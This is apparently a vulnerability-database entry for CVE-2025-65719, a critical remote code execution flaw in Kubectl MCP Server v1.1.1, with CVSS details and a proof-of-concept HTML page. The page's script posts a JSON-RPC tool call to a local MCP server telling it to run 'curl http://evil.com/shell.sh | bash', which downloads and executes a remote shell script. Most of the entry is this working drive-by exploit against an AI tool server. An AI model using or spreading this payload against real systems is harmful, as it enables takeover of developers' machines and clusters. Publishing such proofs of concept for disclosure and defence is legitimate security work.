An issue in Open Source Kubectl MCP Server v1.1.1 allows attackers to execute arbitrary code on a victim system via user interaction with a crafted HTML page.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Open Source Kubectl MCP Server v1.1.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
// PoC for CVE-2025-65719: Kubectl MCP Server RCE
// This HTML demonstrates the concept of exploiting the vulnerability via crafted request.
-->
<html>
<body>
<script>
// Construct a malicious payload targeting the MCP server's tool execution interface
var payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "kubectl-shell",
"arguments": {
"command": "curl http://evil.com/shell.sh | bash"
}
}
};
// Attempt to send the request to the local MCP server (default port may vary)
fetch('http://127.0.0.1:3000/', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(payload)
}).then(r => console.log('Request sent'));
</script>
<p>CVE-2025-65719 PoC Loaded. Check console.</p>
</body>
</html>